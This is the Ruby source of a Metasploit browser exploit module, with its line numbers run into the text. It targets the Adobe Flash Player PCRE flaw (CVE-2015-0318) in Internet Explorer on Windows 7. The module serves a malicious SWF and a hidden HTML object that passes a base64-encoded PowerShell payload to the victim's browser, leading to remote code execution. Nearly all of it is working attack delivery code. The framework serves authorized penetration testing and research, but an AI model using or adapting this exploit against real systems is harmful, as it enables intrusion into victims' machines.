Path: blob/master/modules/exploits/windows/browser/adobe_flash_pcre.rb
19719 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'910include Msf::Exploit::Powershell11include Msf::Exploit::Remote::BrowserExploitServer1213def initialize(info = {})14super(15update_info(16info,17'Name' => "Adobe Flash Player PCRE Regex Vulnerability",18'Description' => %q{19This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error20in the PCRE engine, specifically in the handling of the \c escape sequence when followed by21a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.22},23'License' => MSF_LICENSE,24'Author' => [25'Mark Brand', # Found vuln26'sinn3r' # MSF27],28'References' => [29[ 'CVE', '2015-0318' ],30[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],31[ 'URL', 'http://web.archive.org/web/20160110043607/https://code.google.com/p/google-security-research/issues/detail?id=199' ]32],33'Payload' => {34'Space' => 1024,35'DisableNops' => true36},37'DefaultOptions' => {38'Retries' => true39},40'Platform' => 'win',41'BrowserRequirements' => {42:source => /script|headers/i,43:activex => [44{45clsid: "{#{CLASSID}}",46method: "LoadMovie"47}48],49:os_name => OperatingSystems::Match::WINDOWS_7,50:ua_name => Msf::HttpClients::IE,51# Ohter versions are vulnerable but .235 is the one that works for me pretty well52# So we're gonna limit to this one for now. More validation needed in the future.53:flash => lambda { |ver| ver == '16.0.0.235' }54},55'Targets' => [56[ 'Automatic', {} ]57],58'Privileged' => false,59'DisclosureDate' => '2014-11-25',60'DefaultTarget' => 0,61'Notes' => {62'Reliability' => UNKNOWN_RELIABILITY,63'Stability' => UNKNOWN_STABILITY,64'SideEffects' => UNKNOWN_SIDE_EFFECTS65}66)67)68end6970def exploit71# Please see data/exploits/CVE-2015-0318/ for source,72# that's where the actual exploit is73@swf = create_swf74super75end7677def on_request_exploit(cli, request, target_info)78print_status("Request: #{request.uri}")7980if request.uri =~ /\.swf$/81print_status("Sending SWF...")82send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Pragma' => 'no-cache' })83return84end8586print_status("Sending HTML...")87tag = retrieve_tag(cli, request)88profile = browser_profile[tag]89profile[:tried] = false unless profile.nil? # to allow request the swf90send_exploit_html(cli, exploit_template(cli, target_info), { 'Pragma' => 'no-cache' })91end9293def exploit_template(cli, target_info)94swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"95target_payload = get_payload(cli, target_info)96psh_payload = cmd_psh_payload(target_payload, 'x86', { remove_comspec: true })97b64_payload = Rex::Text.encode_base64(psh_payload)9899html_template = %Q|<html>100<body>101<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />102<param name="movie" value="<%=swf_random%>" />103<param name="allowScriptAccess" value="always" />104<param name="FlashVars" value="sh=<%=b64_payload%>" />105<param name="Play" value="true" />106<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>107</object>108</body>109</html>110|111112return html_template, binding()113end114115def create_swf116path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf")117swf = ::File.open(path, 'rb') { |f| swf = f.read }118119swf120end121end122123124